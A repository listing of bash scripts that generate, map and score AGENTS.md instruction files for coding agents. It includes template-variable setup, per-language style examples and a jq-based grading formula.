                  fi
      
                  content="${content}- **${title}**${status_badge} — ${summary} → [\`${file}\`](${adr_dir}/${file})\n"
              done
      
              printf '%b' "$content"
          }
          vars[KEY_DECISIONS]=$(build_key_decisions "$ADR_INFO")
      
          # Contribution rules — detect issue-before-PR, AI disclosure, PR templates
          build_contribution_rules() {
              local rules=""
      
              # Check CONTRIBUTING.md for issue-before-PR
              if [ -f "CONTRIBUTING.md" ]; then
                  if grep -qi "open an issue\|issue first\|issue before\|create an issue" CONTRIBUTING.md 2>/dev/null; then
                      rules="$rules\n- **Issue first**: Open an issue and get approval before submitting a PR"
                  fi
                  if grep -qi "AI\|artificial intelligence\|copilot\|generated\|LLM\|disclose" CONTRIBUTING.md 2>/dev/null; then
                      rules="$rules\n- **AI disclosure**: This project requires disclosure of AI-assisted contributions in PR descriptions"
                  fi
              fi
      
              # Check PR template for issue linking
              for tmpl in .github/pull_request_template.md .github/PULL_REQUEST_TEMPLATE/*.md; do
                  if [ -f "$tmpl" ] && grep -qi "Fixes #\|Closes #\|Related issue\|Issue number" "$tmpl" 2>/dev/null; then
                      rules="$rules\n- **Link issues**: PR template requires linking to an issue (Fixes #NNN)"
                      break
                  fi
              done
      
              # Check branch protection for linked issues requirement
              local protection
              protection=$(echo "$GITHUB_SETTINGS" | jq -r '.required_linked_issues // false' 2>/dev/null)
              if [ "$protection" = "true" ]; then
                  rules="$rules\n- **Linked issues required**: Branch protection requires PRs to reference an issue"
              fi
      
              [ -n "$rules" ] && printf '%b' "$rules" || true
          }
          vars[CONTRIBUTION_RULES]=$(build_contribution_rules)
      
          # Codebase state - detect migrations, deprecations
          codebase_state=""
          [ -d "migrations" ] || [ -d "db/migrate" ] && codebase_state="$codebase_state\n- Database migrations present in migrations/"
          [ -d "prisma/migrations" ] && codebase_state="$codebase_state\n- Prisma migrations present"
          grep -rq "DEPRECATED\|@deprecated" --include="*.ts" --include="*.go" --include="*.php" --include="*.py" . 2>/dev/null && \
              codebase_state="$codebase_state\n- Contains deprecated code (grep for @deprecated)"
          [ -z "$codebase_state" ] && codebase_state="- No known migrations or tech debt documented"
          vars[CODEBASE_STATE]=$(echo -e "$codebase_state")
      
          # Terminology - leave empty for now, needs manual curation
          vars[TERMINOLOGY]=""
      
          # Scope index
          vars[SCOPE_INDEX]=$(build_scope_index "$SCOPES_INFO")
      
          # Verbose template additional vars
          if [ "$STYLE" = "verbose" ]; then
              # Use extracted documentation data where available
              readme_desc=$(echo "$DOCS_INFO" | jq -r '.readme.description // empty')
              if [ -n "$readme_desc" ]; then
                  vars[PROJECT_DESCRIPTION]="$readme_desc"
              else
                  vars[PROJECT_DESCRIPTION]="TODO: Add project description"
              fi
      
              vars[LANGUAGE]="$LANGUAGE"
              vars[VERSION]="$VERSION"
              vars[BUILD_TOOL]=$(echo "$PROJECT_INFO" | jq -r '.build_tool')
              vars[FRAMEWORK]=$(echo "$PROJECT_INFO" | jq -r '.framework')
              vars[PROJECT_TYPE]="$PROJECT_TYPE"
              vars[BUILD_CMD]=$(echo "$COMMANDS" | jq -r '.build')
      
              # Extract quality standards from contributing guidelines AND quality config
              contributing_rules=$(echo "$DOCS_INFO" | jq -r '.contributing.code_style // empty')
              quality_standards=$(build_quality_standards "$QUALITY_CONFIG")
              if [ -n "$contributing_rules" ] && [ "$contributing_rules" != "null" ]; then
                  # Combine contributing rules with detected quality config
                  vars[QUALITY_STANDARDS]="$contributing_rules
      $quality_standards"
              else
                  vars[QUALITY_STANDARDS]="$quality_standards"
              fi
      
              # Extract security guidelines
              security_policy=$(echo "$DOCS_INFO" | jq -r '.security.policy // empty')
              if [ -n "$security_policy" ] && [ "$security_policy" != "null" ]; then
                  vars[SECURITY_SPECIFIC]="$security_policy"
              else
                  vars[SECURITY_SPECIFIC]="- Report vulnerabilities via security@project or SECURITY.md
      - Never commit secrets or credentials"
              fi
      
              vars[TEST_COVERAGE]="40"
      
              # Try to get test commands from CI info or fall back to detected commands
              test_cmd=$(echo "$COMMANDS" | jq -r '.test')
              ci_system=$(echo "$CI_INFO" | jq -r '.ci_system // "none"')
      
              # Look for specific test commands in CI
              ci_test_cmd=""
              case "$ci_system" in
                  "github-actions")
                      ci_test_cmd=$(echo "$CI_INFO" | jq -r '.github_actions.run_commands[]? | select(. | test("test|phpunit|jest|pytest|go test"; "i"))' 2>/dev/null | head -1)
                      ;;
                  "gitlab-ci")
                      ci_test_cmd=$(echo "$CI_INFO" | jq -r '.gitlab_ci.script_commands[]? | select(. | test("test|phpunit|jest|pytest|go test"; "i"))' 2>/dev/null | head -1)
                      ;;
              esac
      
              vars[TEST_FAST_CMD]="${test_cmd:-make test}"
              if [ -n "$ci_test_cmd" ]; then
                  vars[TEST_FULL_CMD]="$ci_test_cmd"
              else
                  vars[TEST_FULL_CMD]="${test_cmd:-make test}"
              fi
      
              # Check if docs exist
              [ -d "./docs" ] && vars[ARCHITECTURE_DOC]="./docs/architecture.md" || vars[ARCHITECTURE_DOC]="(not available)"
              [ -d "./docs" ] && vars[API_DOC]="./docs/api.md" || vars[API_DOC]="(not available)"
      
              # Use extracted contributing file path or default
              contrib_file=$(echo "$DOCS_INFO" | jq -r '.contributing.file // empty')
              if [ -n "$contrib_file" ] && [ "$contrib_file" != "null" ]; then
                  vars[CONTRIBUTING_DOC]="./$contrib_file"
              else
                  vars[CONTRIBUTING_DOC]="./CONTRIBUTING.md"
              fi
          fi
      
          # Language-specific conflict resolution, never-do rules, and code examples
          case "$LANGUAGE" in
              "go")
                  vars[LANGUAGE_SPECIFIC_CONFLICT_RESOLUTION]="- For Go-specific patterns, defer to language idioms and standard library conventions"
                  vars[LANGUAGE_SPECIFIC_NEVER]="- Commit go.sum without go.mod changes"
                  vars[CODE_EXAMPLES]="**Good:** \`if err != nil { return fmt.Errorf(\"op failed: %w\", err) }\`
      **Avoid:** \`if err != nil { panic(err) }\` or ignoring errors"
                  vars[GOOD_EXAMPLE]="\`\`\`go
      // Wrap errors with context
      if err != nil {
          return fmt.Errorf(\"failed to process %s: %w\", item, err)
      }
      
      // Use structured logging
      slog.Info(\"operation completed\", \"item\", item, \"duration\", elapsed)
      \`\`\`"
                  vars[BAD_EXAMPLE]="\`\`\`go
      // Don't panic on recoverable errors
      if err != nil {
          panic(err)  // Use return instead
      }
      
      // Don't use fmt.Println for logging
      fmt.Println(\"something happened\")  // Use slog/log package
      \`\`\`"
                  ;;
              "php")
                  vars[LANGUAGE_SPECIFIC_CONFLICT_RESOLUTION]="- For PHP-specific patterns, follow PSR standards"
                  vars[LANGUAGE_SPECIFIC_NEVER]="- Commit composer.lock without composer.json changes
      - Modify core framework files"
                  vars[CODE_EXAMPLES]="**Good:** Constructor injection, typed properties, return types
      **Avoid:** Service locator, untyped parameters, \`@var\` without types"
                  vars[GOOD_EXAMPLE]="\`\`\`php
      // Use constructor injection with typed properties
      public function __construct(
          private readonly UserRepository \$userRepository,
          private readonly LoggerInterface \$logger,
      ) {}
      
      // Always use return types and parameter types
      public function findById(int \$id): ?User
      {
          return \$this->userRepository->find(\$id);
      }
      \`\`\`"
                  vars[BAD_EXAMPLE]="\`\`\`php
      // Don't use service locator or globals
      \$user = Container::get('user.repository')->find(\$id);
      
      // Don't omit types
      public function process(\$data)  // Missing types
      {
          return \$data;  // Missing return type
      }
      \`\`\`"
                  ;;
              "typescript")
                  vars[LANGUAGE_SPECIFIC_CONFLICT_RESOLUTION]="- For TypeScript/JavaScript patterns, follow project eslint/prettier config"
                  vars[LANGUAGE_SPECIFIC_NEVER]="- Commit package-lock.json without package.json changes
      - Use any type without justification"
                  vars[CODE_EXAMPLES]="**Good:** Strict types, async/await, destructuring
      **Avoid:** \`any\` type, callback hell, mutable state in components"
                  vars[GOOD_EXAMPLE]="\`\`\`typescript
      // Use explicit types and async/await
      async function fetchUser(id: string): Promise<User | null> {
        const response = await api.get<User>(\\\`/users/\\\${id}\\\`);
        return response.data;
      }
      
      // Use destructuring and const
      const { name, email } = user;
      \`\`\`"
                  vars[BAD_EXAMPLE]="\`\`\`typescript
      // Don't use 'any' without justification
      function process(data: any): any {  // Type properly
        return data;
      }
      
      // Don't use var or nested callbacks
      var result;  // Use const/let
      fetchData(function(data) {  // Use async/await
        processData(data, function(result) { ... });
      });
      \`\`\`"
                  ;;
              "python")
                  vars[LANGUAGE_SPECIFIC_CONFLICT_RESOLUTION]="- For Python-specific patterns, follow PEP 8 and project tooling (ruff/black)"
                  vars[LANGUAGE_SPECIFIC_NEVER]="- Commit requirements.txt without pyproject.toml changes
      - Use print() for logging in production code"
                  vars[CODE_EXAMPLES]="**Good:** Type hints, dataclasses, context managers
      **Avoid:** Bare \`except:\`, mutable default args, \`print()\` for logging"
                  vars[GOOD_EXAMPLE]="\`\`\`python
      # Use type hints and dataclasses
      from dataclasses import dataclass
      
      @dataclass
      class User:
          name: str
          email: str
      
      def find_user(user_id: int) -> User | None:
          \"\"\"Find user by ID.\"\"\"
          return db.query(User).filter_by(id=user_id).first()
      \`\`\`"
                  vars[BAD_EXAMPLE]="\`\`\`python
      # Don't use bare except or mutable defaults
      def process(items=[]):  # Mutable default arg!
          try:
              return do_something(items)
          except:  # Too broad, catches KeyboardInterrupt
              pass
      
      # Don't use print() for logging
      print(f\"Processing {item}\")  # Use logging module
      \`\`\`"
                  ;;
              *)
                  vars[LANGUAGE_SPECIFIC_CONFLICT_RESOLUTION]=""
                  vars[LANGUAGE_SPECIFIC_NEVER]=""
                  vars[CODE_EXAMPLES]=""
                  vars[GOOD_EXAMPLE]="TODO: Add language-specific good patterns"
                  vars[BAD_EXAMPLE]="TODO: Add language-specific anti-patterns"
                  ;;
          esac
      
          # Render template (smart mode respects --update flag)
          render_template_smart "$TEMPLATE" "$ROOT_FILE" vars "$UPDATE_ONLY"
      
          # Enforce byte budget for agent instruction limits
          enforce_byte_budget "$ROOT_FILE" "$BYTE_BUDGET"
      
          if [ "$UPDATE_ONLY" = true ]; then
              emit_op write agents-file "$ROOT_FILE"
              echo "✅ Updated: $ROOT_FILE"
          else
              emit_op write agents-file "$ROOT_FILE"
              echo "✅ Created: $ROOT_FILE"
          fi
      fi
      
      # Generate CLAUDE.md shim if requested
      if [ "$CLAUDE_SHIM" = true ]; then
          CLAUDE_FILE="$PROJECT_DIR/CLAUDE.md"
          if [ -f "$CLAUDE_FILE" ] && [ "$FORCE" = false ]; then
              emit_op keep shim "$CLAUDE_FILE" reason "already exists"
              log "CLAUDE.md already exists, skipping (use --force to regenerate)"
          elif [ "$DRY_RUN" = true ]; then
              emit_op write shim "$CLAUDE_FILE"
              echo "[DRY-RUN] Would create: $CLAUDE_FILE"
          else
              cat > "$CLAUDE_FILE" << 'CLAUDESHIM'
      <!-- Auto-generated shim for Claude Code compatibility -->
      <!-- Source of truth: AGENTS.md -->
      <!-- Re-generate with: generate-agents.sh --claude-shim -->
      
      @import AGENTS.md
      
      <!-- Add Claude-specific overrides below if needed -->
      CLAUDESHIM
              emit_op write shim "$CLAUDE_FILE"
              echo "✅ Created: $CLAUDE_FILE (shim importing AGENTS.md)"
          fi
      fi
      
      # Auto-detect Claude Code environment and ensure CLAUDE.md symlinks exist
      
      # Create compatibility symlinks if requested (root level)
      # Subdirectory symlinks are created after scoped files are generated (see below).
      if [ "$CREATE_SYMLINKS" = true ] && [ "$CLAUDE_SHIM" = false ]; then
          for symlink_name in CLAUDE.md GEMINI.md; do
              SYMLINK_FILE="$PROJECT_DIR/$symlink_name"
              if compat_file_is_ours "$SYMLINK_FILE"; then
                  if [ "$DRY_RUN" = true ]; then
                      emit_op symlink compat-file "$SYMLINK_FILE" target AGENTS.md
                      echo "[DRY-RUN] Would symlink: $SYMLINK_FILE → AGENTS.md"
                  else
                      ln -sf AGENTS.md "$SYMLINK_FILE"
                      emit_op symlink compat-file "$SYMLINK_FILE" target AGENTS.md
                      echo "✅ Symlinked: $SYMLINK_FILE → AGENTS.md"
                  fi
              elif [ "$FORCE" = true ]; then
                  if [ "$DRY_RUN" = true ]; then
                      emit_op symlink compat-file "$SYMLINK_FILE" target AGENTS.md
                      echo "[DRY-RUN] Would replace: $SYMLINK_FILE → AGENTS.md (--force)"
                  else
                      rm -f "$SYMLINK_FILE"
                      ln -s AGENTS.md "$SYMLINK_FILE"
                      emit_op symlink compat-file "$SYMLINK_FILE" target AGENTS.md
                      echo "✅ Replaced: $SYMLINK_FILE → AGENTS.md (--force)"
                  fi
              else
                  report_kept_file "$SYMLINK_FILE" "$symlink_name"
              fi
          done
      fi
      
      # Generate scoped AGENTS.md files
      SCOPE_COUNT=$(echo "$SCOPES_INFO" | jq '.scopes | length')
      
      if [ "$SCOPE_COUNT" -eq 0 ]; then
          log "No scopes detected (no directories with sufficient source files)"
      else
          log "Generating $SCOPE_COUNT scoped AGENTS.md files..."
      
          while read -r scope; do
              SCOPE_PATH=$(echo "$scope" | jq -r '.path')
              SCOPE_TYPE=$(echo "$scope" | jq -r '.type')
              SCOPE_FILE="$PROJECT_DIR/$SCOPE_PATH/AGENTS.md"
      
              if [ -f "$SCOPE_FILE" ] && [ "$FORCE" = false ] && [ "$UPDATE_ONLY" = false ]; then
                  emit_op keep agents-file "$SCOPE_FILE" reason "already exists"
                  log "Scoped AGENTS.md already exists: $SCOPE_PATH, skipping"
                  continue
              fi
      
              if [ "$DRY_RUN" = true ]; then
                  emit_op write agents-file "$SCOPE_FILE"
                  echo "[DRY-RUN] Would create/update: $SCOPE_FILE"
                  continue
              fi
      
              # Select template based on scope type
              SCOPE_TEMPLATE="$TEMPLATE_DIR/scoped/$SCOPE_TYPE.md"
      
              if [ ! -f "$SCOPE_TEMPLATE" ]; then
                  log "No template for scope type: $SCOPE_TYPE, skipping $SCOPE_PATH"
                  continue
              fi
      
              # Try to extract commands from scope directory (for monorepos)
              SCOPE_COMMANDS=""
              if [ -f "$SCOPE_PATH/package.json" ] || [ -f "$SCOPE_PATH/composer.json" ] || [ -f "$SCOPE_PATH/pyproject.toml" ] || [ -f "$SCOPE_PATH/go.mod" ]; then
                  SCOPE_COMMANDS=$("$SCRIPT_DIR/extract-commands.sh" "$SCOPE_PATH" 2>/dev/null || echo '')
                  log "Found scope-local config in $SCOPE_PATH"
              fi
              # Fall back to root commands if scope has no local config
              [ -z "$SCOPE_COMMANDS" ] && SCOPE_COMMANDS="$COMMANDS"
      
              # Prepare scoped template variables
              declare -A scope_vars
              scope_vars[TIMESTAMP]=$(get_timestamp)
              scope_vars[SCOPE_NAME]=$(basename "$SCOPE_PATH")
              scope_vars[SCOPE_DESCRIPTION]=$(get_scope_description "$SCOPE_TYPE")
              scope_vars[FILE_PATH]="<file>"
              scope_vars[HOUSE_RULES]=""
      
              # Helper to only set var if value is non-empty (leaves placeholder for row deletion)
              set_scope_if_present() {
                  local key="$1"
                  local value="$2"
                  if [ -n "$value" ] && [ "$value" != "null" ]; then
                      scope_vars[$key]="$value"
                  fi
                  return 0
              }
      
              # Generate scope-specific file map
              # Usage: generate_scope_file_map <path> <ext1> [ext2] [ext3]...
              generate_scope_file_map() {
                  local scope_path="$1"
                  shift  # Remove first arg, leaving extensions
                  local extensions=("$@")
                  local result=""
      
                  # Build find pattern for multiple extensions
                  local find_args=()
                  for ext in "${extensions[@]}"; do
                      if [[ ${#find_args[@]} -gt 0 ]]; then
                          find_args+=("-o")
                      fi
                      find_args+=("-name" "*.$ext")
                  done
      
                  # Find key files (most recently modified, largest, or entry points)
                  local files
                  files=$(find "$scope_path" -maxdepth 2 -type f \( "${find_args[@]}" \) 2>/dev/null | head -5)
      
                  if [ -n "$files" ]; then
                      result="| File | Purpose |\n|------|---------|"
                      while IFS= read -r file; do
                          local rel_path="${file#"$PROJECT_DIR"/}"
                          # Try to extract purpose from first docblock or comment
                          local purpose
                          purpose=$(head -20 "$file" 2>/dev/null | grep -E '^\s*(//|#|\*|/\*\*)' | head -1 | sed 's/^[[:space:]]*[/*#]*[[:space:]]*//' | cut -c1-50)
                          [ -z "$purpose" ] && purpose="(add description)"
                          result="$result\n| \`$rel_path\` | $purpose |"
                      done <<< "$files"
                  fi
                  echo -e "$result"
              }
      
              # Generate scope-specific golden samples
              # Usage: generate_scope_golden_samples <path> <ext1> [ext2] [ext3]...
              generate_scope_golden_samples() {
                  local scope_path="$1"
                  shift  # Remove first arg, leaving extensions
                  local extensions=("$@")
                  local result=""
      
                  # Build find pattern for multiple extensions
                  local find_args=()
                  for ext in "${extensions[@]}"; do
                      if [[ ${#find_args[@]} -gt 0 ]]; then
                          find_args+=("-o")
                      fi
                      find_args+=("-name" "*.$ext")
                  done
      
                  # Look for well-documented files with tests
                  local sample
                  # shellcheck disable=SC2038  # Source files rarely have special chars
                  sample=$(find "$scope_path" -maxdepth 2 -type f \( "${find_args[@]}" \) 2>/dev/null | \
                           xargs -I{} sh -c 'wc -l "{}" | grep -v "^0"' 2>/dev/null | \
                           sort -rn | head -1 | awk '{print $2}')
      
                  if [ -n "$sample" ] && [ -f "$sample" ]; then
                      local rel_path="${sample#"$PROJECT_DIR"/}"
                      result="| Pattern | Reference |\n|---------|-----------|"
                      result="$result\n| Standard implementation | \`$rel_path\` |"
                  fi
                  echo -e "$result"
              }
      
              # Language-specific variables
              case "$SCOPE_TYPE" in
                  "backend-go")
                      scope_vars[GO_VERSION]="$VERSION"
                      scope_vars[GO_MINOR_VERSION]=$(echo "$VERSION" | cut -d. -f2)
                      scope_vars[GO_TOOLS]="golangci-lint, gofmt"
                      scope_vars[ENV_VARS]="See .env.example"
                      set_scope_if_present BUILD_CMD "$(echo "$SCOPE_COMMANDS" | jq -r '.build // empty')"
      
                      # Build whole-line placeholders for setup section
                      scope_vars[INSTALL_LINE]="- Install: \`go mod download\`"
                      [ -n "${scope_vars[GO_VERSION]:-}" ] && [ "${scope_vars[GO_VERSION]}" != "unknown" ] && \
                          scope_vars[GO_VERSION_LINE]="- Go version: ${scope_vars[GO_VERSION]}"
                      [ -n "${scope_vars[GO_TOOLS]:-}" ] && \
                          scope_vars[GO_TOOLS_LINE]="- Required tools: ${scope_vars[GO_TOOLS]}"
                      [ -n "${scope_vars[ENV_VARS]:-}" ] && \
                          scope_vars[ENV_VARS_LINE]="- Environment variables: ${scope_vars[ENV_VARS]}"
      
                      # Build whole-line placeholders for commands section
                      scope_vars[VET_LINE]="- Vet (static analysis): \`go vet ./...\`"
                      scope_vars[FORMAT_LINE]="- Format: \`gofmt -w .\`"
                      scope_vars[LINT_LINE]="- Lint: \`golangci-lint run ./...\`"
                      scope_vars[TEST_LINE]="- Test: \`go test -v -race ./...\`"
                      scope_vars[TEST_SINGLE_LINE]="- Test specific: \`go test -v -race -run TestName ./...\`"
                      [ -n "${scope_vars[BUILD_CMD]:
    • generate-file-map.sh 4.3 KB
      #!/usr/bin/env bash
      # Generate file map (dir → purpose) for AGENTS.md
      set -euo pipefail
      
      PROJECT_DIR="${1:-.}"
      cd "$PROJECT_DIR"
      
      # Check if git is available
      if ! git rev-parse --git-dir > /dev/null 2>&1; then
          echo "# Not a git repository - cannot generate file map" >&2
          echo ""
          exit 0
      fi
      
      # Map of known directory names to their purposes
      declare -A DIR_PURPOSES=(
          # Source directories
          ["src"]="application source code"
          ["lib"]="library code"
          ["app"]="application code (routes, pages)"
          ["pkg"]="public packages"
          ["internal"]="internal packages (not exported)"
      
          # Language-specific
          ["cmd"]="CLI entrypoints"
          ["Classes"]="PHP classes (PSR-4)"
          ["Configuration"]="framework configuration"
      
          # Frontend
          ["components"]="UI components"
          ["pages"]="page components/routes"
          ["views"]="view templates"
          ["layouts"]="layout components"
          ["hooks"]="React/Vue hooks"
          ["stores"]="state management"
          ["styles"]="CSS/styling"
          ["assets"]="static assets (images, fonts)"
          ["public"]="public static files"
      
          # Backend
          ["api"]="API routes/handlers"
          ["routes"]="route definitions"
          ["controllers"]="request handlers"
          ["services"]="business logic"
          ["models"]="data models"
          ["entities"]="database entities"
          ["repositories"]="data access layer"
          ["middleware"]="request middleware"
      
          # Infrastructure
          ["scripts"]="automation scripts"
          ["bin"]="compiled binaries"
          ["build"]="build output"
          ["dist"]="distribution files"
          ["vendor"]="third-party dependencies (do not edit)"
          ["node_modules"]="npm dependencies (do not edit)"
      
          # Testing
          ["tests"]="test suites"
          ["test"]="test suites"
          ["Tests"]="test suites"
          ["__tests__"]="Jest test suites"
          ["testutil"]="test utilities"
          ["fixtures"]="test fixtures"
          ["mocks"]="test mocks"
      
          # Documentation
          ["docs"]="documentation"
          ["Documentation"]="documentation (RST/MD)"
          ["doc"]="documentation"
      
          # Configuration
          ["config"]="configuration files"
          ["configs"]="configuration files"
          [".github"]="GitHub Actions, templates"
          [".gitlab"]="GitLab CI configuration"
      
          # Data
          ["migrations"]="database migrations"
          ["seeds"]="database seeds"
          ["data"]="data files"
          ["Resources"]="templates and assets"
      
          # Examples
          ["examples"]="usage examples"
          ["example"]="usage examples"
          ["samples"]="sample code"
      )
      
      # Get top-level directories with file counts
      get_directories() {
          git ls-files | cut -d/ -f1 | sort | uniq -c | sort -rn | while read -r count dir; do
              # Skip files (no directory)
              [[ "$dir" == *.* ]] && continue
              # Skip hidden except .github/.gitlab
              [[ "$dir" == .* ]] && [[ "$dir" != ".github" ]] && [[ "$dir" != ".gitlab" ]] && continue
              echo "$count $dir"
          done
      }
      
      # Infer purpose from directory contents if not in known list
      infer_purpose() {
          local dir="$1"
      
          # Check for specific file patterns
          if compgen -G "$dir/*.go" > /dev/null; then
              echo "Go packages"
          elif compgen -G "$dir/*.py" > /dev/null; then
              echo "Python modules"
          elif compgen -G "$dir/*.php" > /dev/null; then
              echo "PHP classes"
          elif compgen -G "$dir/*.ts" > /dev/null; then
              echo "TypeScript modules"
          elif compgen -G "$dir/*.tsx" > /dev/null; then
              echo "React components"
          elif compgen -G "$dir/*.vue" > /dev/null; then
              echo "Vue components"
          elif compgen -G "$dir/*.sh" > /dev/null; then
              echo "shell scripts"
          elif compgen -G "$dir/*.md" > /dev/null; then
              echo "documentation"
          elif compgen -G "$dir/*.json" > /dev/null; then
              echo "configuration/data"
          else
              echo "project files"
          fi
      }
      
      # Generate the file map
      generate_map() {
          local max_dirs=15  # Limit to top 15 directories
      
          while read -r count dir; do
              [ -z "$dir" ] && continue
              [ "$max_dirs" -le 0 ] && break
      
              local purpose=""
              if [ -n "${DIR_PURPOSES[$dir]:-}" ]; then
                  purpose="${DIR_PURPOSES[$dir]}"
              else
                  purpose=$(infer_purpose "$dir")
              fi
      
              # Format: dir/ → purpose
              # Pad directory name for alignment
              printf "%-16s → %s\n" "${dir}/" "$purpose"
      
              ((max_dirs--))
          done < <(get_directories)
      }
      
      # Output the file map
      generate_map
      
    • score-agents.sh 9.8 KB
      #!/usr/bin/env bash
      # score-agents.sh - Grade AGENTS.md files with a reproducible quality score.
      #
      # Aggregates the --json output of the four verifier scripts into a per-file
      # letter grade (A-F) on a 0-100 scale, ranked worst-first so you know where to
      # spend effort. Reproducible: re-running on an unchanged tree yields the same
      # grade (no model call, CI-friendly). One caveat - the Currency axis can shift
      # within a day for a file whose "Last updated" date is today, because
      # check-freshness.sh uses git's bare-date --since.
      #
      # Five script-measured axes (max points):
      #   Structure 25 | Currency 20 | Content 20 | Commands 15 (root only) | Conciseness 20
      # A file's percentage = earned / (sum of applicable axis maxima) * 100.
      # Scoped files have no Commands axis; their maxima sum to 85 and normalise to 100.
      #
      # Grades: A >=90  B >=75  C >=50  D >=30  F <30
      #
      # A separate, QUALITATIVE LLM overlay (Architecture / Actionability /
      # Non-obvious-patterns) is NOT part of this number - it varies run to run. See
      # references/quality-rubric.md for how an agent layers that review on top.
      set -uo pipefail
      
      SCRIPT_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)"
      
      PROJECT_DIR=""
      JSON=false
      REVIEW_FILE=""
      
      while [[ $# -gt 0 ]]; do
          case $1 in
              --json)
                  JSON=true
                  shift
                  ;;
              --review)
                  REVIEW_FILE="${2:-}"
                  shift 2
                  ;;
              --review=*)
                  REVIEW_FILE="${1#*=}"
                  shift
                  ;;
              --help|-h)
                  cat <<EOF
      Usage: score-agents.sh [PROJECT_DIR] [OPTIONS]
      
      Grade AGENTS.md files with a reproducible 0-100 quality score (worst-first).
      
      Options:
        --json            Emit the machine-readable scoring document on stdout
        --review FILE     Add a secondary, NON-reproducible "with review" grade from a
                          JSON of agent-judged LLM-axis ratings (see quality-rubric.md):
                          { "PATH": {"architecture":"strong|adequate|weak",
                                     "actionability":"...","non_obvious":"..."}, ... }
        --help, -h        Show this help message
      
      Axes: Structure 25 | Currency 20 | Content 20 | Commands 15 (root) | Conciseness 20
      Grades: A >=90  B >=75  C >=50  D >=30  F <30
      
      The deterministic score never changes on an unchanged tree. The --review overlay
      (Architecture, Actionability, Non-obvious patterns) varies and is shown separately.
      EOF
                  exit 0
                  ;;
              *)
                  PROJECT_DIR="$1"
                  shift
                  ;;
          esac
      done
      
      PROJECT_DIR="${PROJECT_DIR:-.}"
      
      if ! command -v jq >/dev/null 2>&1; then
          echo "Error: jq is required" >&2
          exit 2
      fi
      
      # Optional LLM-axis ratings for the secondary "with review" grade.
      REVIEW_JSON='{}'
      if [[ -n "$REVIEW_FILE" ]]; then
          if [[ -f "$REVIEW_FILE" ]] && jq -e . "$REVIEW_FILE" >/dev/null 2>&1; then
              REVIEW_JSON=$(cat "$REVIEW_FILE")
          else
              echo "Error: --review file missing or not valid JSON: $REVIEW_FILE" >&2
              exit 2
          fi
      fi
      
      # Run a verifier in --json mode; tolerate its non-zero "issues found" exit and
      # its human stderr. Echo '{}' if it produced nothing parseable so jq stays happy.
      run_json() {
          local script="$1"
          shift
          local out
          out=$(bash "$SCRIPT_DIR/$script" "$PROJECT_DIR" --json "$@" 2>/dev/null || true)
          if [[ -n "$out" ]] && printf '%s' "$out" | jq -e . >/dev/null 2>&1; then
              printf '%s' "$out"
          else
              echo '{}'
          fi
          return 0
      }
      
      STRUCT_JSON=$(run_json validate-structure.sh)
      FRESH_JSON=$(run_json check-freshness.sh)
      CONTENT_JSON=$(run_json verify-content.sh)
      COMMANDS_JSON=$(run_json verify-commands.sh)
      
      # Spine = the files validate-structure reports (it already excludes vendored
      # example fixtures). Precompute a path -> line-count map for the Conciseness axis.
      mapfile -t SPINE < <(printf '%s' "$STRUCT_JSON" | jq -r '(.files // [])[].path')
      
      # Build the path -> line-count map in a SINGLE jq pass (tab-separated stream)
      # rather than spawning jq once per file.
      LINES_JSON=$(
          for path in "${SPINE[@]}"; do
              full="$PROJECT_DIR/$path"
              n=0
              [[ -f "$full" ]] && n=$(wc -l < "$full" | tr -d ' ')
              printf '%s\t%s\n' "$path" "$n"
          done | jq -Rs 'split("\n") | map(select(. != "")) | map(split("\t"))
                         | map({key: .[0], value: (.[1]|tonumber)}) | from_entries'
      )
      
      # --- Scoring (single jq pass; pure function of its inputs => reproducible) -----
      SCORING=$(jq -nc \
          --argjson struct "$STRUCT_JSON" \
          --argjson fresh "$FRESH_JSON" \
          --argjson content "$CONTENT_JSON" \
          --argjson commands "$COMMANDS_JSON" \
          --argjson lines "$LINES_JSON" \
          --argjson review "$REVIEW_JSON" \
          '
          def clamp(max): if . < 0 then 0 elif . > max then max else . end;
          def grade(p): if p>=90 then "A" elif p>=75 then "B" elif p>=50 then "C" elif p>=30 then "D" else "F" end;
          def frac(r): if r=="strong" then 1.0 elif r=="adequate" then 0.6 else 0.2 end;
      
          ($fresh.files // [] | map({(.path): .}) | add // {}) as $fmap |
          ($commands.summary // {passed:0,skipped:0,failed:0}) as $cmd |
          (($cmd.passed // 0) + ($cmd.failed // 0)) as $cmdTotal |
      
          [ ($struct.files // [])[] |
            .path as $p | .role as $role |
            (.errors // 0) as $se | (.warnings // 0) as $sw |
      
            # Structure (25)
            ((25 - $se*5 - $sw*2) | clamp(25)) as $structure |
      
            # Currency (20)
            ($fmap[$p]) as $fr |
            ( if $fr == null then 8
              elif $fr.status == "fresh" then 20
              elif $fr.status == "unknown" then 8
              else ( ($fr.commits_since // 0) as $c |
                     if $c <= 7 then 15 elif $c <= 14 then 11 elif $c <= 30 then 7 else 4 end )
              end ) as $currency |
      
            # Content (20) - issues attributed to this file
            ( [ ($content.issues // [])[] | select(.file == $p) ] ) as $ci |
            ( [ $ci[] | select(.severity=="ERROR") ] | length ) as $ce |
            ( [ $ci[] | select(.severity=="WARN")  ] | length ) as $cw |
            ((20 - $ce*5 - $cw*2) | clamp(20)) as $content_s |
      
            # Conciseness (20) - by role, from line count
            ($lines[$p] // 0) as $ln |
            ( if $role == "root"
              then ( if $ln<=50 then 20 elif $ln<=80 then 16 elif $ln<=150 then 10 else 5 end )
              else ( if $ln<=150 then 20 elif $ln<=250 then 15 else 8 end )
              end ) as $concise |
      
            # Commands (15) - root only, and only if there are verifiable commands
            ( if $role=="root" and $cmdTotal>0
              then { applies:true, score: (($cmd.passed*15/$cmdTotal)|floor) }
              else { applies:false, score:0 }
              end ) as $commands_axis |
      
            ( 25+20+20+20 + (if $commands_axis.applies then 15 else 0 end) ) as $maxApplicable |
            ( $structure+$currency+$content_s+$concise + $commands_axis.score ) as $earned |
            (($earned*100/$maxApplicable)|round) as $pct |
      
            # Optional qualitative overlay (non-reproducible): blend agent-judged LLM
            # axes (Architecture 10 / Actionability 8 / Non-obvious 7) into a secondary
            # grade. Only present when --review supplied a rating for this path.
            ($review[$p]) as $rv |
            ( if $rv == null then null
              else (frac($rv.architecture // "weak")*10
                  + frac($rv.actionability // "weak")*8
                  + frac($rv.non_obvious  // "weak")*7) end ) as $llm |
            ( if $llm == null then null
              else ((($earned + $llm) * 100 / ($maxApplicable + 25)) | round) end ) as $blended |
      
            { path:$p, role:$role, percent:$pct, grade: grade($pct),
              review: (if $rv == null then null
